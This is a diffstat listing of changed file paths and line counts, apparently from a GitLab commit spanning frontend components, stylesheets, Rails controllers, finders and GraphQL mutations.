-rw-r--r--app/assets/javascripts/pipelines/stores/test_reports/actions.js10
-rw-r--r--app/assets/javascripts/pipelines/utils.js14
-rw-r--r--app/assets/javascripts/profile/account/components/delete_account_modal.vue61
-rw-r--r--app/assets/javascripts/profile/account/components/update_username.vue11
-rw-r--r--app/assets/javascripts/profile/gl_crop.js4
-rw-r--r--app/assets/javascripts/projects/commit/components/form_modal.vue4
-rw-r--r--app/assets/javascripts/projects/commits/store/actions.js6
-rw-r--r--app/assets/javascripts/prometheus_alerts/components/reset_key.vue6
-rw-r--r--app/assets/javascripts/protected_branches/protected_branch_edit.js6
-rw-r--r--app/assets/javascripts/registry/explorer/index.js2
-rw-r--r--app/assets/javascripts/registry/explorer/pages/list.vue8
-rw-r--r--app/assets/javascripts/related_issues/components/related_issues_root.vue12
-rw-r--r--app/assets/javascripts/related_merge_requests/store/actions.js6
-rw-r--r--app/assets/javascripts/releases/components/app_index_apollo_client.vue275
-rw-r--r--app/assets/javascripts/releases/components/releases_empty_state.vue44
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination_apollo_client.vue37
-rw-r--r--app/assets/javascripts/releases/components/releases_sort.vue6
-rw-r--r--app/assets/javascripts/releases/components/releases_sort_apollo_client.vue91
-rw-r--r--app/assets/javascripts/releases/constants.js21
-rw-r--r--app/assets/javascripts/releases/mount_index.js34
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/actions.js14
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/actions.js6
-rw-r--r--app/assets/javascripts/reports/codequality_report/components/codequality_issue_body.vue2
-rw-r--r--app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue16
-rw-r--r--app/assets/javascripts/reports/codequality_report/store/mutations.js3
-rw-r--r--app/assets/javascripts/repository/components/blob_content_viewer.vue17
-rw-r--r--app/assets/javascripts/repository/components/blob_header_edit.vue28
-rw-r--r--app/assets/javascripts/repository/components/blob_replace.vue75
-rw-r--r--app/assets/javascripts/repository/components/table/index.vue4
-rw-r--r--app/assets/javascripts/repository/components/table/row.vue38
-rw-r--r--app/assets/javascripts/repository/components/tree_content.vue17
-rw-r--r--app/assets/javascripts/repository/components/upload_blob_modal.vue82
-rw-r--r--app/assets/javascripts/repository/constants.js4
-rw-r--r--app/assets/javascripts/repository/graphql.js20
-rw-r--r--app/assets/javascripts/repository/index.js3
-rw-r--r--app/assets/javascripts/repository/log_tree.js32
-rw-r--r--app/assets/javascripts/repository/mixins/get_ref.js2
-rw-r--r--app/assets/javascripts/repository/queries/blob_info.query.graphql3
-rw-r--r--app/assets/javascripts/repository/queries/commit.query.graphql4
-rw-r--r--app/assets/javascripts/rest_api.js1
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_actions_cell.vue171
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_name_cell.vue44
-rw-r--r--app/assets/javascripts/runner/components/cells/runner_type_cell.vue42
-rw-r--r--app/assets/javascripts/runner/components/runner_filtered_search_bar.vue145
-rw-r--r--app/assets/javascripts/runner/components/runner_list.vue142
-rw-r--r--app/assets/javascripts/runner/components/runner_manual_setup_help.vue76
-rw-r--r--app/assets/javascripts/runner/components/runner_pagination.vue57
-rw-r--r--app/assets/javascripts/runner/components/runner_tags.vue33
-rw-r--r--app/assets/javascripts/runner/components/runner_type_alert.vue66
-rw-r--r--app/assets/javascripts/runner/components/runner_type_badge.vue19
-rw-r--r--app/assets/javascripts/runner/components/runner_type_help.vue60
-rw-r--r--app/assets/javascripts/runner/components/runner_update_form.vue227
-rw-r--r--app/assets/javascripts/runner/constants.js36
-rw-r--r--app/assets/javascripts/runner/graphql/delete_runner.mutation.graphql5
-rw-r--r--app/assets/javascripts/runner/graphql/get_runner.query.graphql5
-rw-r--r--app/assets/javascripts/runner/graphql/get_runners.query.graphql31
-rw-r--r--app/assets/javascripts/runner/graphql/runner_details.fragment.graphql12
-rw-r--r--app/assets/javascripts/runner/graphql/runner_node.fragment.graphql13
-rw-r--r--app/assets/javascripts/runner/graphql/runner_update.mutation.graphql10
-rw-r--r--app/assets/javascripts/runner/runner_details/runner_details_app.vue20
-rw-r--r--app/assets/javascripts/runner/runner_list/index.js42
-rw-r--r--app/assets/javascripts/runner/runner_list/runner_list_app.vue127
-rw-r--r--app/assets/javascripts/runner/runner_list/runner_search_utils.js109
-rw-r--r--app/assets/javascripts/search/index.js5
-rw-r--r--app/assets/javascripts/search/store/actions.js1
-rw-r--r--app/assets/javascripts/search/topbar/components/app.vue2
-rw-r--r--app/assets/javascripts/search/topbar/components/group_filter.vue4
-rw-r--r--app/assets/javascripts/search/topbar/components/project_filter.vue4
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown.vue38
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown_item.vue73
-rw-r--r--app/assets/javascripts/search/topbar/constants.js8
-rw-r--r--app/assets/javascripts/security_configuration/components/constants.js98
-rw-r--r--app/assets/javascripts/security_configuration/components/redesigned_app.vue147
-rw-r--r--app/assets/javascripts/security_configuration/components/section_layout.vue23
-rw-r--r--app/assets/javascripts/security_configuration/components/upgrade_banner.vue45
-rw-r--r--app/assets/javascripts/security_configuration/index.js39
-rw-r--r--app/assets/javascripts/security_configuration/utils.js24
-rw-r--r--app/assets/javascripts/serverless/components/empty_state.vue4
-rw-r--r--app/assets/javascripts/serverless/components/missing_prometheus.vue4
-rw-r--r--app/assets/javascripts/serverless/store/actions.js14
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue66
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignees.vue20
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue7
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue12
-rw-r--r--app/assets/javascripts/sidebar/components/date/sidebar_date_widget.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/labels/sidebar_labels.vue29
-rw-r--r--app/assets/javascripts/sidebar/components/lock/issuable_lock_form.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/participants/sidebar_participants.vue31
-rw-r--r--app/assets/javascripts/sidebar/components/participants/sidebar_participants_widget.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/reviewer_title.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/reviewers.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/sidebar_reviewers.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/severity/sidebar_severity.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_dropdown_widget.vue360
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_editable_item.vue11
-rw-r--r--app/assets/javascripts/sidebar/components/subscriptions/sidebar_subscriptions_widget.vue9
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/comparison_pane.vue2
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/report.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/sidebar_time_tracking.vue32
-rw-r--r--app/assets/javascripts/sidebar/components/time_tracking/time_tracker.vue161
-rw-r--r--app/assets/javascripts/sidebar/constants.js54
-rw-r--r--app/assets/javascripts/sidebar/graphql.js25
-rw-r--r--app/assets/javascripts/sidebar/mount_milestone_sidebar.js24
-rw-r--r--app/assets/javascripts/sidebar/mount_sidebar.js52
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_time_tracking.query.graphql13
-rw-r--r--app/assets/javascripts/sidebar/queries/merge_request_time_tracking.query.graphql13
-rw-r--r--app/assets/javascripts/sidebar/queries/milestone.fragment.graphql5
-rw-r--r--app/assets/javascripts/sidebar/queries/project_issue_milestone.mutation.graphql17
-rw-r--r--app/assets/javascripts/sidebar/queries/project_issue_milestone.query.graphql14
-rw-r--r--app/assets/javascripts/sidebar/queries/project_milestones.query.graphql13
-rw-r--r--app/assets/javascripts/sidebar/track_invite_members.js12
-rw-r--r--app/assets/javascripts/single_file_diff.js6
-rw-r--r--app/assets/javascripts/snippets/components/snippet_blob_edit.vue4
-rw-r--r--app/assets/javascripts/static_site_editor/components/edit_area.vue4
-rw-r--r--app/assets/javascripts/static_site_editor/pages/home.vue6
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/constants.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/constants.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/add_image_modal.vue (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/add_image_modal.vue)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/modals/add_image/upload_image_tab.vue (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/modals/add_image/upload_image_tab.vue)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/modals/insert_video_modal.vue (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/modals/insert_video_modal.vue)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/rich_content_editor.vue (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/rich_content_editor.vue)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/build_custom_renderer.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_custom_renderer.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/build_html_to_markdown_renderer.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/build_html_to_markdown_renderer.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/editor_service.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/editor_service.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/build_uneditable_token.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/build_uneditable_token.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_attribute_definition.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_attribute_definition.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_embedded_ruby_text.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_embedded_ruby_text.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_font_awesome_html_inline.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_font_awesome_html_inline.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_heading.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_heading.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_html_block.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_html_block.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_instance_text.js40
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_identifier_paragraph.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_paragraph.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_list_item.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_list_item.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_softbreak.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_softbreak.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/renderers/render_utils.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_utils.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/services/sanitize_html.js (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/services/sanitize_html.js)0
-rw-r--r--app/assets/javascripts/static_site_editor/rich_content_editor/toolbar_item.vue (renamed from app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue)0
-rw-r--r--app/assets/javascripts/tracking.js219
-rw-r--r--app/assets/javascripts/tracking/constants.js1
-rw-r--r--app/assets/javascripts/tracking/get_standard_context.js14
-rw-r--r--app/assets/javascripts/tracking/index.js251
-rw-r--r--app/assets/javascripts/user_lists/components/user_list_form.vue2
-rw-r--r--app/assets/javascripts/user_lists/components/user_lists.vue120
-rw-r--r--app/assets/javascripts/user_lists/components/user_lists_table.vue (renamed from app/assets/javascripts/feature_flags/components/user_lists_table.vue)0
-rw-r--r--app/assets/javascripts/user_lists/store/index/actions.js38
-rw-r--r--app/assets/javascripts/user_lists/store/index/index.js11
-rw-r--r--app/assets/javascripts/user_lists/store/index/mutation_types.js10
-rw-r--r--app/assets/javascripts/user_lists/store/index/mutations.js37
-rw-r--r--app/assets/javascripts/user_lists/store/index/state.js10
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals.vue22
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/approvals/approvals_summary_optional.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_actions.vue6
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_alert_message.vue41
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_expandable_section.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/source_branch_removal_status.vue11
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_pipeline_blocked.vue5
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue31
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/work_in_progress.vue21
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/terraform/mr_widget_terraform_container.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/terraform/terraform_plan.vue4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/constants.js4
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue78
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js1
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue2
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_assignees.vue4
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue12
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_todo.vue2
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_set_assignees.mutation.graphql16
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/graphql/mutations/alert_todo_create.mutation.graphql8
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/graphql/queries/alert_sidebar_details.query.graphql17
-rw-r--r--app/assets/javascripts/vue_shared/components/alert_details_table.vue13
-rw-r--r--app/assets/javascripts/vue_shared/components/alerts_deprecation_warning.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/awards_list.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/constants.js2
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_utils.js67
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/store/modules/filters/actions.js18
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue123
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/base_token.vue29
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue51
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue137
-rw-r--r--app/assets/javascripts/vue_shared/components/incidents/utils.js3
-rw-r--r--app/assets/javascripts/vue_shared/components/issue/issue_assignees.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/details_row.vue5
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/list_item.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/registry_search.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/services/renderers/render_identifier_instance_text.js40
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_aws_deployments/constants.js49
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments.vue43
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_aws_deployments/runner_aws_deployments_modal.vue97
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue4
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/base.vue191
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_button.vue86
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_create_label.vue92
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_footer.vue37
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_header.vue22
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_search_input.vue28
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_title.vue31
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value.vue65
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/dropdown_value_collapsed.vue (renamed from app/assets/javascripts/vue_shared/components/sidebar/labels_select/dropdown_value_collapsed.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue9
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/constants.js5
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_button.vue42
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue44
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue119
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view.vue221
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_title.vue39
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue67
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/label_item.vue82
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue327
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/actions.js58
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/getters.js52
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/index.js12
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutation_types.js20
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/mutations.js70
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_widget/store/state.js29
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_alert_assignees.query.graphql20
-rw-r--r--app/assets/javascripts/vue_shared/components/user_callout_dismisser.vue175
-rw-r--r--app/assets/javascripts/vue_shared/components/user_select/user_select.vue13
-rw-r--r--app/assets/javascripts/vue_shared/new_namespace/new_namespace_page.vue2
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/artifact_downloads/merge_request_artifact_download.vue82
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/help_icon.vue2
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/components/security_report_download_dropdown.vue9
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue2
-rw-r--r--app/assets/javascripts/whats_new/components/feature.vue6
-rw-r--r--app/assets/stylesheets/components/rich_content_editor.scss2
-rw-r--r--app/assets/stylesheets/framework.scss4
-rw-r--r--app/assets/stylesheets/framework/awards.scss46
-rw-r--r--app/assets/stylesheets/framework/blank.scss118
-rw-r--r--app/assets/stylesheets/framework/blocks.scss4
-rw-r--r--app/assets/stylesheets/framework/buttons.scss4
-rw-r--r--app/assets/stylesheets/framework/calendar.scss10
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar.scss453
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_header.scss57
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar.scss7
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_base.scss386
-rw-r--r--app/assets/stylesheets/framework/contextual_sidebar_refactoring/contextual_sidebar_variant.scss514
-rw-r--r--app/assets/stylesheets/framework/diffs.scss12
-rw-r--r--app/assets/stylesheets/framework/gfm.scss3
-rw-r--r--app/assets/stylesheets/framework/header.scss25
-rw-r--r--app/assets/stylesheets/framework/highlight.scss5
-rw-r--r--app/assets/stylesheets/framework/layout.scss12
-rw-r--r--app/assets/stylesheets/framework/lists.scss4
-rw-r--r--app/assets/stylesheets/framework/mixins.scss16
-rw-r--r--app/assets/stylesheets/framework/sidebar.scss5
-rw-r--r--app/assets/stylesheets/framework/system_messages.scss4
-rw-r--r--app/assets/stylesheets/framework/variables.scss17
-rw-r--r--app/assets/stylesheets/highlight/themes/dark.scss3
-rw-r--r--app/assets/stylesheets/highlight/themes/monokai.scss3
-rw-r--r--app/assets/stylesheets/highlight/themes/none.scss3
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-dark.scss3
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-light.scss3
-rw-r--r--app/assets/stylesheets/highlight/white_base.scss3
-rw-r--r--app/assets/stylesheets/mailer.scss21
-rw-r--r--app/assets/stylesheets/page_bundles/cycle_analytics.scss27
-rw-r--r--app/assets/stylesheets/page_bundles/escalation_policies.scss37
-rw-r--r--app/assets/stylesheets/page_bundles/group.scss107
-rw-r--r--app/assets/stylesheets/page_bundles/pipelines.scss2
-rw-r--r--app/assets/stylesheets/page_bundles/project.scss82
-rw-r--r--app/assets/stylesheets/page_bundles/wiki.scss1
-rw-r--r--app/assets/stylesheets/pages/groups.scss211
-rw-r--r--app/assets/stylesheets/pages/issuable.scss13
-rw-r--r--app/assets/stylesheets/pages/issues.scss8
-rw-r--r--app/assets/stylesheets/pages/login.scss4
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss21
-rw-r--r--app/assets/stylesheets/pages/profile.scss6
-rw-r--r--app/assets/stylesheets/pages/projects.scss91
-rw-r--r--app/assets/stylesheets/pages/search.scss13
-rw-r--r--app/assets/stylesheets/pages/tree.scss10
-rw-r--r--app/assets/stylesheets/performance_bar.scss34
-rw-r--r--app/assets/stylesheets/print.scss2
-rw-r--r--app/assets/stylesheets/snippets.scss1
-rw-r--r--app/assets/stylesheets/startup/startup-dark.scss1942
-rw-r--r--app/assets/stylesheets/startup/startup-general.scss1592
-rw-r--r--app/assets/stylesheets/startup/startup-signin.scss2070
-rw-r--r--app/assets/stylesheets/themes/theme_helper.scss5
-rw-r--r--app/assets/stylesheets/utilities.scss7
-rw-r--r--app/controllers/abuse_reports_controller.rb2
-rw-r--r--app/controllers/admin/appearances_controller.rb87
-rw-r--r--app/controllers/admin/application_settings/appearances_controller.rb87
-rw-r--r--app/controllers/admin/application_settings_controller.rb2
-rw-r--r--app/controllers/admin/background_migrations_controller.rb23
-rw-r--r--app/controllers/admin/dashboard_controller.rb2
-rw-r--r--app/controllers/admin/groups_controller.rb2
-rw-r--r--app/controllers/admin/runners_controller.rb3
-rw-r--r--app/controllers/admin/users_controller.rb27
-rw-r--r--app/controllers/application_controller.rb23
-rw-r--r--app/controllers/clusters/applications_controller.rb2
-rw-r--r--app/controllers/concerns/creates_commit.rb2
-rw-r--r--app/controllers/concerns/integrations_actions.rb5
-rw-r--r--app/controllers/concerns/membership_actions.rb38
-rw-r--r--app/controllers/concerns/wiki_actions.rb2
-rw-r--r--app/controllers/concerns/with_performance_bar.rb9
-rw-r--r--app/controllers/confirmations_controller.rb6
-rw-r--r--app/controllers/dashboard/projects_controller.rb2
-rw-r--r--app/controllers/groups/boards_controller.rb2
-rw-r--r--app/controllers/groups/email_campaigns_controller.rb9
-rw-r--r--app/controllers/groups/group_links_controller.rb4
-rw-r--r--app/controllers/groups/group_members_controller.rb25
-rw-r--r--app/controllers/groups/registry/repositories_controller.rb2
-rw-r--r--app/controllers/groups_controller.rb11
-rw-r--r--app/controllers/health_controller.rb1
-rw-r--r--app/controllers/import/bulk_imports_controller.rb6
-rw-r--r--app/controllers/jira_connect/app_descriptor_controller.rb2
-rw-r--r--app/controllers/omniauth_callbacks_controller.rb4
-rw-r--r--app/controllers/passwords_controller.rb4
-rw-r--r--app/controllers/profiles_controller.rb3
-rw-r--r--app/controllers/projects/alert_management_controller.rb4
-rw-r--r--app/controllers/projects/analytics/cycle_analytics/summary_controller.rb27
-rw-r--r--app/controllers/projects/blob_controller.rb3
-rw-r--r--app/controllers/projects/boards_controller.rb2
-rw-r--r--app/controllers/projects/branches_controller.rb20
-rw-r--r--app/controllers/projects/ci/pipeline_editor_controller.rb1
-rw-r--r--app/controllers/projects/commit_controller.rb4
-rw-r--r--app/controllers/projects/compare_controller.rb6
-rw-r--r--app/controllers/projects/cycle_analytics/events_controller.rb2
-rw-r--r--app/controllers/projects/cycle_analytics_controller.rb2
-rw-r--r--app/controllers/projects/feature_flags_controller.rb7
-rw-r--r--app/controllers/projects/feature_flags_user_lists_controller.rb3
-rw-r--r--app/controllers/projects/forks_controller.rb12
-rw-r--r--app/controllers/projects/issues_controller.rb4
-rw-r--r--app/controllers/projects/merge_requests/conflicts_controller.rb3
-rw-r--r--app/controllers/projects/merge_requests_controller.rb1
-rw-r--r--app/controllers/projects/metrics_dashboard_controller.rb1
-rw-r--r--app/controllers/projects/packages/infrastructure_registry_controller.rb12
-rw-r--r--app/controllers/projects/pipeline_schedules_controller.rb4
-rw-r--r--app/controllers/projects/pipelines_controller.rb68
-rw-r--r--app/controllers/projects/project_members_controller.rb16
-rw-r--r--app/controllers/projects/releases_controller.rb3
-rw-r--r--app/controllers/projects/security/configuration_controller.rb4
-rw-r--r--app/controllers/projects/services_controller.rb9
-rw-r--r--app/controllers/projects/settings/integrations_controller.rb2
-rw-r--r--app/controllers/projects/settings/operations_controller.rb2
-rw-r--r--app/controllers/projects/templates_controller.rb2
-rw-r--r--app/controllers/projects/wikis_controller.rb4
-rw-r--r--app/controllers/projects_controller.rb21
-rw-r--r--app/controllers/registrations/welcome_controller.rb2
-rw-r--r--app/controllers/registrations_controller.rb6
-rw-r--r--app/controllers/users_controller.rb10
-rw-r--r--app/experiments/application_experiment.rb28
-rw-r--r--app/experiments/members/invite_email_experiment.rb2
-rw-r--r--app/finders/ci/auth_job_finder.rb4
-rw-r--r--app/finders/ci/pipelines_for_merge_request_finder.rb2
-rw-r--r--app/finders/ci/runners_finder.rb9
-rw-r--r--app/finders/concerns/packages/finder_helper.rb2
-rw-r--r--app/finders/deployments_finder.rb11
-rw-r--r--app/finders/feature_flags_finder.rb2
-rw-r--r--app/finders/issuable_finder.rb30
-rw-r--r--app/finders/issuable_finder/params.rb26
-rw-r--r--app/finders/issuables/assignee_filter.rb79
-rw-r--r--app/finders/issuables/author_filter.rb4
-rw-r--r--app/finders/issuables/base_filter.rb8
-rw-r--r--app/finders/issues_finder.rb2
-rw-r--r--app/finders/packages/group_or_project_package_finder.rb12
-rw-r--r--app/finders/packages/helm/package_files_finder.rb26
-rw-r--r--app/finders/packages/pypi/package_finder.rb10
-rw-r--r--app/finders/pending_todos_finder.rb9
-rw-r--r--app/finders/projects/serverless/functions_finder.rb2
-rw-r--r--app/finders/projects_finder.rb11
-rw-r--r--app/finders/security/jobs_finder.rb2
-rw-r--r--app/finders/template_finder.rb16
-rw-r--r--app/graphql/gitlab_schema.rb10
-rw-r--r--app/graphql/mutations/ci/ci_cd_settings_update.rb4
-rw-r--r--app/graphql/mutations/ci/runner/delete.rb44
-rw-r--r--app/graphql/mutations/ci/runner/update.rb68
-rw-r--r--app/graphql/mutations/ci/runners_registration_token/reset.rb66
-rw-r--r--app/graphql/mutations/commits/create.rb6
-rw-r--r--app/graphql/mutations/concerns/mutations/resolves_subscription.rb1
-rw-r--r--app/graphql/mutations/issues/set_subscription.rb24
-rw-r--r--app/graphql/mutations/labels/create.rb4
-rw-r--r--app/graphql/mutations/merge_requests/set_subscription.rb24
-rw-r--r--app/graphql/mutations/snippets/create.rb2
-rw-r--r--app/graphql/mutations/snippets/update.rb2
-rw-r--r--app/graphql/mutations/todos/mark_all_done.rb7
-rw-r--r--app/graphql/mutations/todos/restore_many.rb5
-rw-r--r--app/graphql/resolvers/board_list_issues_resolver.rb4
-rw-r--r--app/graphql/resolvers/board_lists_resolver.rb4
-rw-r--r--app/graphql/resolvers/ci/runners_resolver.rb4
-rw-r--r--app/graphql/resolvers/concerns/board_issue_filterable.rb35
-rw-r--r--app/graphql/resolvers/concerns/board_item_filterable.rb35
-rw-r--r--app/graphql/resolvers/concerns/time_frame_arguments.rb8
-rw-r--r--app/graphql/resolvers/milestones_resolver.rb10
-rw-r--r--app/graphql/resolvers/projects/services_resolver.rb12
